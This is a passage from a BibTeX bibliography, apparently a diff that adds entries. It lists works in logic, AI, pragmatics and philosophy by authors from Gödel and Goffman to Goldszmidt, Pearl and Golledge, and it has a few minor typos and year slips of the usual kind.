{P}hysik}, + year = {1931}, + volume = {38}, + pages = {173--198}, + xref = {English translation in vanheijenoort:1967a.}, + topic = {goedels-first-theorem;goedels-second-theorem;logic-classics;} + } + +@article{ godel:1980a, + author = {Kurt G\"odel}, + title = {On a Hitherto Unexploited Extension of the Finitary + Standpoint}, + journal = {Journal of Philosophical Logic}, + year = {1980}, + volume = {9}, + number = {2}, + pages = {133--142}, + topic = {consistency-proofs;} + } + +@incollection{ godo-lopezdemantaras:1991a, + author = {L. Godo and R. Lopez de Mantaras}, + title = {Linguistically Expressed Uncertainty: Its Elicitation and + Use in Modular expert Systems}, + booktitle = {Symbolic and Quantitative Approaches for Uncertainty: + Proceedings of the {E}uropean Conference {ECSQAU}, Marseille, + France, October 1991}, + publisher = {Springer-Verlag}, + year = {1991}, + editor = {Rudolf Kruse and Pierre Siegel}, + pages = {76--80}, + address = {Berlin}, + topic = {reasoning-about-uncertainty;expert-systems;} + } + +@techreport{ goebel:1989a, + author = {Randy Goebel}, + title = {A Sketch of Analogy as Reasoning with Equality Hypotheses}, + institution = {Department of Computing Science, The University of + Alberta}, + number = {TR89--20}, + year = {1989}, + address = {Edmonton}, + topic = {analogy;analogical-reasoning;} + } + +@book{ goffman:1959a, + author = {Erving Goffman}, + title = {Presentation of Self in Everyday Life}, + publisher = {Anchor Books}, + year = {1959}, + address = {New York}, + topic = {sociolinguistics;discourse;indexicals; + pragmatics;} + } + +@book{ goffman:1974a, + author = {Erving Goffman}, + title = {Frame Analysis}, + publisher = {Harper and Row}, + year = {1959}, + address = {New York}, + topic = {sociolinguistics;discourse;pragmatics;} + } + +@article{ goffman:1974b1, + author = {Erving Goffman}, + title = {Replies and Responses}, + journal = {Language in Society}, + year = {1974}, + volume = {5}, + pages = {257--313}, + missinginfo = {number}, + xref = {Revised republication: goffman:1974b2.}, + topic = {discourse;pragmatics;} + } + +@incollection{ goffman:1974b2, + author = {Erving Goffman}, + title = {Replies and Responses}, + booktitle = {Forms of Talk}, + publisher = {University of Pennsylvania Press}, + year = {1981}, + editor = {Erving Goffman}, + chapter = {1}, + pages = {5--77}, + address = {Philadelphia, Pennsylvania}, + xref = {Republication of: goffman:1974b1.}, + topic = {discourse;speech-acts;context; + pragmatics;logic-of-context;} + } + +@article{ goffman:1978a1, + author = {Erving Goffman}, + title = {Response Cries}, + journal = {Language}, + year = {1978}, + volume = {54}, + pages = {787--815}, + missinginfo = {number}, + xref = {Revised Republication: goffman:1978a2.}, + topic = {discourse;pragmatics;} + } + +@incollection{ goffman:1978a2, + author = {Erving Goffman}, + title = {Response Cries}, + booktitle = {Forms of Talk}, + publisher = {University of Pennsylvania Press}, + year = {1981}, + editor = {Erving Goffman}, + chapter = {2}, + pages = {78--123}, + address = {Philadelphia, Pennsylvania}, + xref = {Republication of: goffman:1978a1.}, + topic = {discourse;pragmatics;} + } + +@article{ goffman:1979a1, + author = {Erving Goffman}, + title = {Footing}, + journal = {Semiotica}, + year = {1979}, + volume = {25}, + pages = {1--29}, + missinginfo = {number}, + xref = {Revised republication: goffman:1979a2.}, + topic = {discourse;pragmatics;} + } + +@incollection{ goffman:1979a2, + author = {Erving Goffman}, + title = {Footing}, + booktitle = {Forms of Talk}, + publisher = {University of Pennsylvania Press}, + year = {1981}, + editor = {Erving Goffman}, + chapter = {3}, + pages = {124--159}, + address = {Philadelphia, Pennsylvania}, + xref = {Republication of: goffman:1979a1.}, + topic = {discourse;pragmatics;} + } + +@book{ goffman:1981a, + author = {Erving Goffman}, + title = {Forms of Talk}, + publisher = {University of Pennsylvania Press}, + year = {1981}, + address = {Philadelphia, Pennsylvania}, + topic = {discourse;pragmatics;} + } + +@incollection{ goffman:1981b, + author = {Erving Goffman}, + title = {The Lecture}, + booktitle = {Forms of Talk}, + publisher = {University of Pennsylvania Press}, + year = {1981}, + editor = {Erving Goffman}, + chapter = {4}, + pages = {160--196}, + address = {Philadelphia, Pennsylvania}, + topic = {discourse;pragmatics;} + } + +@incollection{ goffman:1981c, + author = {Erving Goffman}, + title = {Radio Talk}, + booktitle = {Forms of Talk}, + publisher = {University of Pennsylvania Press}, + year = {1981}, + editor = {Erving Goffman}, + chapter = {5}, + pages = {197--330}, + address = {Philadelphia, Pennsylvania}, + topic = {discourse;pragmatics;} + } + +@inproceedings{ gogic-etal:1995a, + author = {Goran Gogic and Henry A. Kautz and Christos Papidimitriou and + Bart Selman}, + title = {The Comparative Linguistics of Knowledge Representation}, + booktitle = {Proceedings of the Fourteenth International Joint + Conference on Artificial Intelligence}, + year = {1995}, + editor = {Chris Mellish}, + pages = {862--869}, + publisher = {Morgan Kaufmann}, + address = {San Francisco}, + topic = {kr;kr-course;} + } + +@article{ goguen:1969a, + author = {Joseph A. {Goguen, Jr.}}, + title = {The Logic of Inexact Concepts}, + journal = {Synth\'ese}, + year = {1969}, + volume = {1969}, + pages = {325--373}, + missinginfo = {number}, + topic = {vagueness;} + } + +@unpublished{ goguen:1973a, + author = {Joseph A. {Goguen, Jr.}}, + title = {Axioms, Extensions and Applications for Fuzzy Sets: + Languages and the Representation of Concepts}, + year = {1973}, + note = {Unpublished manuscript, Computer Science Department, University + of California at Los Angeles}, + topic = {vagueness;set-theory;} + } + +@techreport{ goguen:1984a, + author = {Joseph A. {Goguen, Jr.}}, + title = {Parameterized Programming}, + institution = {Center for the Study of Language and Information, + Stanford University}, + number = {CSLI-84-10}, + year = {1984}, + address = {Stanford, California}, + topic = {software-engineering;} + } + +@techreport{ goguen-meseguer:1984a, + author = {Joseph A. {Goguen, Jr.} and J. Meseguer}, + title = {Completeness of Many-Sorted Equational Logic}, + institution = {Center for the Study of Language and Information, + Stanford University}, + number = {CSLI-84-15}, + year = {1984}, + address = {Stanford, California}, + topic = {algebraic-logic;} + } + +@inproceedings{ goguen-meseguer:1987a, + author = {Joseph A. Goguen and Jos\'e Meseguer}, + title = {Models and Equality for Logical Programming}, + booktitle = {{TAPSOFT '87}: Proceedings of the International + Joint Conference on Theory and Practice of Software + Development}, + year = {1987}, + editor = {G. Goos and J. Hartmanis}, + pages = {1--22}, + publisher = {Springer-Verlag}, + address = {Berlin}, + topic = {logic-programming;} + } + +@article{ goguen:1988a, + author = {Joseph A. Goguen}, + title = {Modular Algebraic Specification of Some + Basic Geometrical Constructions}, + journal = {Artificial Intelligence}, + year = {1988}, + volume = {37}, + number = {1--3}, + pages = {123--153}, + acontentnote = {Abstract: + This paper applies some recent advances in algebraic + specification technology to plane geometry. The two most + important specification techniques are parameterized modules and + order-sorted algebra; the latter provides a systematic treatment + of subtypes. This exercise also indicates how a rigorous + semantic foundation in equational logic can be given for many + techniques in knowledge representation, including is-a + hierarchies (with multiple inheritance), multiple + representations, implicit (one-way) coercion of representation + and parameterized modular structuring. Degenerate cases (which + can be a particular nuisance in computational geometry), + exception handling, information hiding, block structure, and + pattern-driven rules are also treated, and again have rigorous + semantic foundations. The geometric constructions which + illustrate all this are specified over any ordered field having + square roots of nonnegative elements; thus, we also specify some + algebra, including rings, fields, and determinants. All + specifications are written in a variant of the OBJ language. } , + topic = {geometrical-reasoning;inheritance;computational-geometry;} + } + +@techreport{ goguen-meseguer:1989a, + author = {Joseph A. {Goguen, Jr.} and Jos\'e Meseguer}, + title = {Order-Sorted Algebra {I}}, + institution = {SRI International}, + number = {SRI--CSL--89--10}, + year = {1989}, + address = {333 Ravenswood Ave., Menlo Park, California}, + topic = {inheritance-theory;} + } + +@book{ goguen-malcom:1996a, + author = {Joseph A. {Goguen, Jr.} and Grant Malcom}, + title = {Algebraic Semantics of Imperative Programs}, + publisher = {The {MIT} Press}, + year = {1996}, + address = {Cambridge, Massachusetts}, + ISBN = {0-262-07172-X}, + xref = {Review: plaice:1999a.}, + topic = {theory-of-computation;semantics-of-programming-languages; + imperative-logic;procedural-semantics;} + } + +@article{ gold:1967a, + author = {E. Mark Gold}, + title = {Language Identification in the Limit}, + journal = {Information and Control}, + year = {1967}, + volume = {10}, + pages = {447--474}, + missinginfo = {number}, + topic = {learning-theory;language-learning;} + } + +@incollection{ goldberg_ja:1983a, + author = {Julia A. Goldberg}, + title = {A Move Towards Describing Conversational Coherence}, + booktitle = {Conversational Coherence: Form, Structure and Strategy}, + publisher = {Sage Publications}, + year = {1983}, + editor = {Robert T. Craig and Karen Tracey}, + pages = {25--4}, + address = {London}, + topic = {discourse-coherence;discourse-analysis;pragmatics;} + } + +@book{ goldberg_sa-pessin:1997a, + editor = {Sanford Goldberg and Andrew Pessin}, + title = {Gray Matters: An Introduction to the Philosophy of + Mind}, + publisher = {M.E. Sharpe}, + year = {1997}, + address = {Armonk, NY}, + topic = {philosophy-of-mind;} + } + +@article{ goldblatt:1974a, + author = {Robert L. Goldblatt}, + title = {Semantic Analysis of Orthologic}, + journal = {Journal of Philosophical Logic}, + year = {1974}, + volume = {3}, + number = {1--2}, + pages = {19--35}, + topic = {quantum-logic;} + } + +@article{ goldblatt:1980a, + author = {Robert L. Goldblatt}, + title = {Diodorean Modality in {M}inkowski Spacetine}, + journal = {Studia Logica}, + year = {1980}, + volume = {39}, + pages = {219--236}, + topic = {modal-logic;} + } + +@book{ goldblatt:1987a, + author = {Robert Goldblatt}, + title = {Logics of Time and Computation}, + publisher = {Center for the Study of Language and Information}, + year = {1987}, + address = {Stanford, California}, + edition = {1}, + topic = {modal-logic;temporal-logic;temporal-logic;dynamic-logic;} + } + +@book{ goldblatt:1992a, + author = {Robert Goldblatt}, + title = {Logics of Time and Computation}, + publisher = {Center for the Study of Language and Information}, + year = {1992}, + address = {Stanford, California}, + edition = {2}, + topic = {modal-logic;temporal-logic;temporal-logic;dynamic-logic;} + } + +@incollection{ golden-weld:1996a, + author = {Keith Golden and Daniel Weld}, + title = {Representing Sensing Actions: The Middle Ground Revisited}, + booktitle = {{KR}'96: Principles of Knowledge Representation and Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1996}, + editor = {Luigia Carlucci Aiello and Jon Doyle and Stuart Shapiro}, + pages = {174--185}, + address = {San Francisco, California}, + topic = {kr;cognitive-robotics;reasoning-about-knowledge;actions; + sensing-actions;} + } + +@book{ golden_j-etal:1976a, + editor = {James L. Golden and Goodwin F. Berquist and William E. Coleman}, + title = {The Rhetoric of {W}estern Thought}, + publisher = {Kendall/Hunt Publishing Co.}, + year = {1976}, + address = {Dubuque, Iowa}, + topic = {rhetoric;argumentation;} + } + +@article{ goldfarb:2001a, + author = {Warren Goldfarb}, + title = {First-Order {F}rege Theory is Undecidable}, + journal = {Journal of Philosophical Logic}, + year = {2001}, + volume = {30}, + number = {6}, + pages = {613--616}, + contentnote = {"First-order Frege theory" is the first-order theory + of identity with the abstraction operator. It has + $\lambda x A(x)=\lambda x A(x) \rightleftarrow + \forall x[A(x)\rightleftarrow B(x)]$ as its only axiom.}, + topic = {undecidability;identity;} + } + +@inproceedings{ golding_a-schabes:1996a, + author = {Andrew R. Golding and Yves Schabes}, + title = {Combining Trigram-Based and Feature-Based Methods for + Context-Sensitive Spelling Correction}, + booktitle = {Proceedings of the Thirty-Fourth Annual Meeting of the + Association for Computational Linguistics}, + year = {1996}, + editor = {Arivind Joshi and Martha Palmer}, + pages = {71--78}, + organization = {Association for Computational Linguistics}, + publisher = {Morgan Kaufmann Publishers}, + address = {San Francisco}, + topic = {spelling-correction;statistical-nlp;} + } + +@inproceedings{ golding_ar:1995a, + author = {Andrew R. Golding}, + title = {A {B}ayesian Hybrid Method for Context-Sensitive + Spelling Correction}, + booktitle = {Proceedings of the Third Workshop on Very + Large Corpora}, + year = {1995}, + editor = {David Yarovsky and Kenneth Church}, + pages = {39--53}, + organization = {Association for Computational Linguistics}, + publisher = {Association for Computational Linguistics}, + address = {Somerset, New Jersey}, + topic = {corpus-linguistics;spelling-correction;Bayesian-classification;} + } + +@article{ golding_ar-rosenbloom:1996a, + author = {Andrew R. Golding and Paul S. Rosenbloom}, + title = {Improving Accuracy by Combining Rule-Based and Case-Based + Reasoning}, + journal = {Artificial Intelligence}, + year = {1996}, + volume = {87}, + number = {1--2}, + pages = {215--254}, + topic = {expert-systems;case-based-reasoning;rule-based-reasoning;} + } + +@book{ golding_j-macleod:1997a, + editor = {Jonathan M. Golding and Colin M. MacLeod}, + title = {Intentional Forgetting}, + publisher = {Lawrence Erlbaum Associates}, + year = {1997}, + address = {Mahwah, New Jersey}, + topic = {cognitive-psychology;memory;self-deception;} + } + +@book{ goldman:1986a, + author = {Alvin I. Goldman}, + title = {Epistemology and Cognition}, + publisher = {Cambridge, Mass. : Harvard University Press}, + year = {1986}, + address = {Cambridge}, + ISBN = {0674258959 (alk. paper)}, + topic = {philosophy-cogsci;epistemology;} + } + +@book{ goldman:1999a, + author = {Alvin L. Goldman}, + title = {Knowledge in a Social World}, + publisher = {Oxford University Press}, + year = {1999}, + address = {Oxford}, + xref = {Review: depaul:2002a}, + topic = {epsitemology;social-philosophy;} + } + +@book{ goldman_ai:1970a, + author = {Alvin I. Goldman}, + title = {A Theory of Human Action}, + publisher = {Princeton University Press}, + year = {1970}, + address = {Princeton, New Jersey}, + topic = {action;philosophy-of-action;} + } + +@article{ goldman_ai:1989a, + author = {Alvin I. Goldman}, + title = {Interpretation Psychologized}, + journal = {Mind and Language}, + year = {1989}, + volume = {4}, + number = {3}, + pages = {161--185}, + topic = {propositional-attitudes;philosophy-or-mind;} + } + +@incollection{ goldman_ai:1990a, + author = {Alvin I. Goldman}, + title = {Action and Free Will}, + booktitle = {An Invitation to Cognitive Science. Volume + 2: Visual Cognition and Action}, + publisher = {The {MIT} Press}, + year = {1990}, + editor = {Daniel N. Osherson and Howard Lasnik}, + pages = {317--340}, + address = {Cambridge, Massachusetts}, + topic = {action;freedom;} + } + +@book{ goldman_ai:1992a, + author = {Alvin I. Goldman}, + title = {Liaisons: Philosophy Meets The Cognitive and Social Sciences}, + publisher = {Cambridge, Mass.: MIT Press}, + year = {1992}, + address = {Cambridge}, + ISBN = {0262071355}, + topic = {philosophy-cogsci;philosophy-and-social-science;} + } + +@book{ goldman_ai:1993a, + author = {Alvin I. Goldman}, + title = {Philosophical Applications of Cognitive Science}, + publisher = {Westview Press}, + year = {1993}, + address = {Boulder, Colorado}, + ISBN = {0813380391}, + topic = {philosophy-cogsci;} + } + +@incollection{ goldman_ai:1995a, + author = {Alvin I. Goldman}, + title = {Empathy, Mind, and Morals}, + booktitle = {Mental Simulation: Evaluations and Applications}, + publisher = {Blackwell Publishers}, + year = {1995}, + editor = {Martin Davies and Tony Stone}, + pages = {185--208}, + address = {Oxford}, + topic = {mental-simulation;propositional-attitude-ascription;} + } + +@incollection{ goldman_ai:1995b, + author = {Alvin I. Goldman}, + title = {Interpretation Psychologized}, + booktitle = {Mental Simulation: Evaluations and Applications}, + publisher = {Blackwell Publishers}, + year = {1995}, + editor = {Martin Davies and Tony Stone}, + pages = {74--100}, + address = {Oxford}, + topic = {folk-psychology;theory-theory-of-folk-psychology; + mental-simulation;propositional-attitude-ascription;} + } + +@incollection{ goldman_ai:1995c, + author = {Alvin I. Goldman}, + title = {In Defense of the Simulation Theory}, + booktitle = {Mental Simulation: Evaluations and Applications}, + publisher = {Blackwell Publishers}, + year = {1995}, + editor = {Martin Davies and Tony Stone}, + pages = {191--206}, + address = {Oxford}, + topic = {folk-psychology;theory-theory-of-folk-psychology; + mental-simulation;propositional-attitude-ascription;} + } + +@article{ goldman_ai:1999a, + author = {Alvin I. Goldman}, + title = {Internalism Exposed}, + journal = {The Journal of Philosophy}, + year = {1999}, + volume = {96}, + number = {6}, + pages = {271--293}, + topic = {internalism/externalism;epistemology;} + } + +@article{ goldman_h:1976a, + author = {Holly Goldman}, + title = {Dated Rightness and Moral Imperfection}, + journal = {The Philosophical Review}, + year = {1976}, + pages = {449--487}, + missinginfo = {volume, number}, + topic = {deontic-logic;secondary-obligations;} + } + +@unpublished{ goldman_h:1976b, + author = {Holly Goldman}, + title = {Future and Derivative Rightness}, + year = {1976}, + note = {Unpublished manuscript.}, + topic = {deontic-logic;branching-time;practical-reasoning;} + } + +@article{ goldman_h:1997a, + author = {Holly Goldman}, + title = {A Paradox of Promising}, + journal = {The Philosophical Review}, + year = {1997}, + volume = {106}, + number = {2}, + pages = {153--196}, + topic = {utilitarianism;ethics;promising;} + } + +@inproceedings{ goldman_rp-charniak:1988a, + author = {Robert P. Goldman and Eugene Charniak}, + title = {A Probabilistic {ATMS} for Plan Recognition}, + booktitle = {Proceedings of the 1988 {AAAI} Workshop on Plan + Recognition}, + year = {1988}, + organization = {American Association for Artificial Intelligence}, + topic = {nl-statistics;plan-recognition;} + } + +@phdthesis{ goldman_rp:1990a, + author = {Robert P. Goldman}, + title = {A Probabilistic Approach to Language Understanding}, + school = {Department of Computer Science, Brown University}, + year = {1990}, + type = {Ph.{D}. Dissertation}, + note = {Available as Report No. CS-90-34, Department of Computer + Science, Brown University.}, + address = {Providence, Rhode Island}, + topic = {nl-statistics;nl-interpretation;} + } + +@inproceedings{ goldman_rp-charniak:1990a, + author = {Robert P. Goldman and Eugene Charniak}, + title = {Incremental Construction of Probabilistic Models for + Language Abduction: Work in Progress}, + booktitle = {Working Notes, {AAAI} Spring Symposium on Automated + Deduction}, + year = {1990}, + editor = {P. O'Rorke}, + pages = {1--4}, + organization = {American Association for Artificial Intelligence}, + publisher = {American Association for Artificial Intelligence}, + address = {Menlo Park, California}, + topic = {nl-statistics;abduction;} + } + +@inproceedings{ goldman_rp:1994a, + author = {Robert P. Goldman}, + title = {Conditional Linear Planning}, + booktitle = {Proceedings of 2nd International Conference on AI + Planning Systems}, + year = {1994}, + editor = {K. Hammond}, + pages = {80--85}, + organization = {American Association for Artificial Intelligence}, + publisher = {American Association for Artificial Intelligence}, + address = {Menlo Park, California}, + topic = {planning;contingency-planning;conditional-reasoning;} + } + +@incollection{ goldman_rp-broddy:1994a, + author = {Robert P. Goldman and Mark S. Broddy}, + title = {Representing Uncertainty in Simple Planners}, + booktitle = {{KR}'94: Principles of Knowledge Representation and Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1994}, + editor = {Jon Doyle and Erik Sandewall and Pietro Torasso}, + pages = {238--245}, + address = {San Francisco, California}, + topic = {kr;planning;reasoning-about-uncertainty;kr-course;} + } + +@incollection{ goldreich:1988a, + author = {Oded Goldreich}, + title = {Randomness, Interactive Proofs, and + Zero-Knowledge---A Survey}, + booktitle = {The Universal {T}uring Machine: A Half-Century + Survey}, + publisher = {Oxford University Press}, + year = {1988}, + editor = {Rolf Herkin}, + pages = {377--405}, + address = {Oxford}, + topic = {randomness;cryptography;} + } + +@book{ goldsmith-woisetschlaeger:1982a, + author = {John Goldsmith and Erich Woisetschlaeger}, + title = {The Logic of the Progressive Aspect}, + publisher = {Indiana University Linguistics Club}, + year = {1982}, + address = {310 Lindley Hall, Bloomington, Indiana}, + topic = {tense-aspect;nl-semantics;} + } + +@book{ goldsmith:1993a, + editor = {John Goldsmith}, + title = {The Last Phonological Rule: Reflections on Constraints and + Derivations}, + publisher = {University of Chicago Press}, + year = {1993}, + address = {Chicago}, + topic = {phonology;} + } + +@article{ goldsmith:2001a, + author = {John Goldsmith}, + title = {Unsupervised Learning of the Morphology of a Natural + Language}, + journal = {Computational Linguistics}, + year = {2001}, + volume = {27}, + number = {2}, + pages = {153--198}, + topic = {morphology;machine-language-learning;} + } + +@book{ goldstein-hersen:2000a, + editor = {Gerald Goldstein and Michel Hersen}, + title = {Handbook of Psychological Assessment}, + publisher = {Pergamon}, + year = {2000}, + address = {New York}, + contentnote = {TC: + 1. Gerald Goldstein, Michel Hersen , "Historical Perspectives" + 2. Michael C. Ramsay, Cecil R. Reynolds, "Psychometric + Foundations. Development of a Scientific Test: A + Practical Guide ", pp. + 3. Mark D. Reckase, "Scaling Techniques ", pp. + 4. Kristee A. Beres and Alan S. Kaufman and Mitchel D. + Perlman, "Assessment of Intelligence. + Assessment of Child Intelligence", pp. + 5. David S. Tulsky and Jianjun Zhu and Aurelio + Prifitera, "Assessment of Adult Intelligence with + the {WAIS-III}", pp. + 6. Robert W. Motta, Jamie M. Joseph, "Group Intelligence Tests", pp. + 7. Lynda J. Katz and Gregory T. Slomka, "Achievement, Aptitude, + and Interest. Achievement Testing", pp. + 8. Daniel J. Reschly and Carol Robinson-Za=F1artu, "Evaluation of + Aptitudes", pp. + 9. Jo-Ida C. Hansen, "Interest inventories ", pp. + 10. Gerald Goldstein, "Neuropsychological Assessment. + Comprehensive Neuropsychological Assessment Batteries" + 11. Jane Holmes Bernstein and Michael D. Weiler, "Pediatric + Neuropsychological Assessment Examined", pp. + 12. Glenn J. Larrabee, "Specialized Neuropsychological + Assessment Methods", pp. + 13. Shawn Christopher Shea, "Interviewing. Contemporary Clinical + Interviewing: Integration of the {DSM-IV}, + Managed-Care Concerns, Mental Status, and Research", pp. + 14. Craig Edelbrock and Amy Bohnert, "Structured Interview for + Children and Adolescents", pp. + 15. Arthur N. Wiens and Patricia J. Brazil, "Structured Clinical + Interviews for Adults", pp. + 16. Elahe Nezami and James N. Butcher, "Personality Assessment. + Objective Personality Assessment", pp. + 17. Philip Erdberg, "Rorschach Assessment", pp. + 18. Ross W. Greene and Thomas H. Ollendick, "Behavioral + Assessment. Behavioral Assessment of Children", pp. + 19. Stephen N. Haynes, "Behavioral assessment of adults ", pp. + 20. Antonio E. Puente and Miguel Perez Garcia, "Special Topics + and Applications" + 21. Robert D. Gatewood and Robert Perloff and Evelyn Perloff, + "Psychological Assessment of Ethnic Minorities" + 22. Karen L. Dahlman and Teresa A. Ashman and Richard C. + Mohs, "Psychological Assessment of the Elderly" + } , + ISBN = {0080436455 (hardcover)}, + topic = {psychological-assessment;} + } + +@book{ goldstein_g-hersen:2000a, + editor = {Gerald Goldstein and Michel Hersen}, + title = {Handbook of Psychological Assessment}, + edition = {3}, + publisher = {Pergamon}, + year = {2000}, + address = {Amsterdam}, + ISBN = {0080436455 (hardcover)}, + topic = {psychometrics;} + } + +@article{ goldstein_ip:1975a, + author = {Ira P. Goldstein}, + title = {Summary of {MYCROFT}: A System for Understanding Simple + Picture Programs}, + journal = {Artificial Intelligence}, + year = {1975}, + volume = {6}, + number = {3}, + pages = {249--288}, + acontentnote = {Abstract: + A collection of powerful ideas -- description, plans, linearity, + insertions, global knowledge and imperative semantics -- are + explored which are fundamental to debugging skill. To make these + concepts precise, a computer monitor called MYCROFT is described + that can debug elementary programs for drawing pictures. The + prograrns are those written for LOGO turtles. } , + topic = {automatic-debugging;line-drawings;} + } + +@article{ goldstein_l:1981a, + author = {Laurence Goldstein}, + title = {Categories of Linguistic Aspects and {G}relling's + Paradox}, + journal = {Linguistics and Philosophy}, + year = {1981}, + volume = {4}, + number = {3}, + pages = {405--421}, + xref = {See goldstein_l:1982a, stone_jd:1981a.}, + topic = {semantic-paradoxes;truth-value-gaps;} + } + +@article{ goldstein_l:1982a, + author = {Lawrence Goldstein}, + title = {Linguistic Aspects, Meaninglessness and Paradox: A + Rejoinder to {J}ohn {D}avid {S}tone}, + journal = {Linguistics and Philosophy}, + year = {1982}, + volume = {4}, + number = {4}, + pages = {579--592}, + xref = {See goldstein_l:1981a, stone_jd:1981a.}, + topic = {semantic-paradoxes;truth-value-gaps;} + } + +@article{ goldstick:1974a, + author = {D. Goldstick}, + title = {Against Categories}, + journal = {Philosophical Studies}, + year = {1974}, + volume = {26}, + pages = {337--357}, + missinginfo = {number}, + topic = {category-mistakes;truth-value-gaps;} + } + +@techreport{ goldszmidt-pearl:1989a, + author = {{Mois\'es} Goldszmidt and Judea Pearl}, + title = {Deciding Consistency of Databases Containing Defeasible + and Strict Information}, + institution = {UCLA, Computer Science Department}, + number = {R--122}, + year = {1991}, + address = {Los Angeles, California}, + topic = {kr;nonmonotonic-logic;databases;krcourse;} + } + +@article{ goldszmidt-pearl:1989b, + author = {Mois\'{e}s Goldszmidt and Judea Pearl}, + title = {On the Consistency of Defeasible Databases}, + journal = {Artificial Intelligence}, + year = {1991}, + pages = {121--149}, + volume = {52}, + number = {2}, + topic = {kr;nonmonotonic-logic;databases;krcourse;} + } + +@inproceedings{ goldszmidt-etal:1990a, + author = {{Mois\'es} Goldszmidt and Paul Morris and Judea Pearl}, + title = {A Maximum Entropy Approach to Nonmonotonic Reasoning}, + booktitle = {Proceedings of the Eighth National Conference on + Artificial Intelligence}, + year = {1990}, + editor = {Thomas Dietterich and William Swartout}, + organization = {American Association for Artificial Intelligence}, + publisher = {AAAI Press}, + address = {Menlo Park, CA}, + missinginfo = {pages}, + topic = {nonmonotonic-logic;world-entropy;probability-semantics;} + } + +@techreport{ goldszmidt-pearl:1990a, + author = {{Mois\'es} Goldszmidt and Judea Pearl}, + title = {On the Relation between Rational Closure and + System-{Z}}, + Institution = {UCLA, Computer Science Department}, + number = {R--139}, + year = {1990}, + address = {Los Angeles, California}, + topic = {nonmonotonic-reasoning;probability-semantics; + probabilistic-reasoning;} + } + +@article{ goldszmidt-pearl:1991a, + author = {{Mois\'es} Goldszmidt and Judea Pearl}, + title = {On the Consistency of Defeasible Databases}, + journal = {Artificial Intelligence}, + year = {1991}, + volume = {52}, + number = {2}, + pages = {121--149}, + topic = {kr;nonmonotonic-reasoning;probability-semantics;} + } + +@inproceedings{ goldszmidt-pearl:1991b, + author = {Mois\'es Goldszmidt and Judea Pearl}, + title = {System Z$^+$: A Formalism for Reasoning With + Variable-Strength Defaults}, + booktitle = {Proceedings of the Ninth National Conference on + Artificial Intelligence}, + year = {1991}, + editor = {Thomas Dean and Kathleen McKeown}, + pages = {399--404}, + organization = {American Association for Artificial Intelligence}, + publisher = {AAAI Press}, + address = {Menlo Park, California}, + topic = {nonmonotonic-reasoning;probability-semantics; + probabilistic-reasoning;} + } + +@phdthesis{ goldszmidt:1992a, + author = {Mois\'es Goldszmidt}, + title = {Qualitative Probabilities: A Normative Framework for + Commonsense Reasoning}, + school = {Department of Computer Science, University of California + at Los Angeles}, + year = {1992}, + type = {Ph.{D}. Dissertation}, + address = {Los Angeles, California}, + note = {Also available as Technical Report R--190, Cognitive Systems + Laboratory, Department of Computer Science, UCLA, Los Angeles, + California 90024.}, + topic = {qualitative-probability;} + } + +@incollection{ goldszmidt-pearl:1992a, + author = {Mois\'es Goldszmidt and Judea Pearl}, + title = {Rank-Based Systems: a Simple Approach to Belief Revision, + Belief Update, and Reasoning about Evidence and Actions}, + booktitle = {{KR}'92. Principles of Knowledge Representation and + Reasoning: Proceedings of the Third International Conference}, + publisher = {Morgan Kaufmann}, + year = {1992}, + editor = {Bernhard Nebel and Charles Rich and William Swartout}, + pages = {661--672}, + address = {San Mateo, California}, + topic = {kr;nonmonotonic-reasoning;causality;Yale-shooting-problem; + kr-course;} + } + +@inproceedings{ goldszmidt-pearl:1992b, + author = {Mois\'es Goldszmidt and Judea Pearl}, + title = {Stratified Rankings for Causal Relations}, + booktitle = {Proceedings of the Fourth Workshop on Nonmonotonic + Reasoning}, + year = {1992}, + pages = {99--110}, + missinginfo = {editor,publisher,address,check topics}, + topic = {kr;nonmonotonic-reasoning;causality;} + } + +@inproceedings{ goldszmidt-pearl:1992c, + author = {Mois\'es Goldszmidt and Judea Pearl}, + title = {Reasoning about Qualitative Probabilities Can Be Tractable}, + booktitle = {Proceedings of the 8th Conference on Uncertainty in + Artificial Intelligence (UAI92)}, + year = {1992}, + pages = {112--120}, + missinginfo = {Editor, Organization, Address}, + topic = {probabilistic-reasoning;qualitative-probability;} + } + +@article{ goldszmidt-pearl:1996a, + author = {Mois\'es Goldszmidt and Judea Pearl}, + title = {Qualitative Probabilities for Default Reasoning, Belief + Revision, and Causal Modeling}, + journal = {Artificial Intelligence}, + year = {1996}, + volume = {84}, + pages = {57--112}, + number = {1--2}, + topic = {qualitative-probability;} + } + +@article{ goldwasser-etal:1989a, + author = {S. Goldwasser and S. Micali and C. Rackoff}, + title = {The Knowledge Complexity of Interactive Systems}, + journal = {{SIAM} Journal of Computing}, + year = {1989}, + volume = {18}, + number = {1}, + pages = {186--208}, + missinginfo = {A's 1st name.}, + topic = {complexity;complexity-in-AI;} + } + +@inproceedings{ goldwater-etal:2000a, + author = {Sharon J. Goldwater and Elizabeth Owen Bratt and Jean Mark + Gawron and John Dowding}, + title = {Building a Robust Dialogue System with Limited Data}, + booktitle = {{ANLP/NAACL} Workshop on Conversational Systems}, + year = {2000}, + editor = {Candace Sidner et al.}, + pages = {61--65}, + organization = {Association for Computational Linguistics}, + publisher = {Association for Computational Linguistics}, + address = {Somerset, New Jersey}, + topic = {computational-dialogue;} + } + +@book{ golledge:1999a, + editor = {Reginald G. Golledge}, + title = {Wayfinding Behavior: Cognitive Mapping and Other Spatial + Processes}, + publisher = {Baltimore: Johns Hopkins University Press}, + year = {1999}, + address = {Baltimore}, + ISBN = {080185993X}, + contentnote = {TC: + 1. Reginald G. Golledge, "Human wayfinding and cognitive + maps" + 2. Gary L. Allen, "Spatial abilities, cognitive maps, and + wayfinding: bases for individual differences in + spatial cognition and behavior" + 3. Tommy G\"orling, "Human information processing in + sequential spatial choice" + 4. Eliah Stern and Juval Portugali, "Environmental cognition + and decision making in urban navigation" + 5. Jack M. Loomis, Roberta L. Klatzky, Reginald G. Golledge, + and John W. Philbeck, "Human navigation by path + integration" + 6. Michel-Ange Amorim, "A neurocognitive approach to human + navigation" + 7.John J. Rieser, "Dynamic spatial orientation and the + coupling of representation and action" + 10.Ariane S. Etienne, Roland Maurer, Josephine Georgakopoulos, + and Andrea Griffin , "Dead reckoning (path + integration), landmarks, and representation of space + in a comparative perspective" + 11. Simon P. D. Judd, Kyran Dale, and Thomas S. Collett, "On + the fine structure of view-based navigation in + insects" + 12. Roswitha Wiltschko and Wolfgang Wiltschko, "Compass + orientation as a basic element in avian orientation + and navigation" + 13. Catherine Thinus-Blanc and Florence Gaunet, 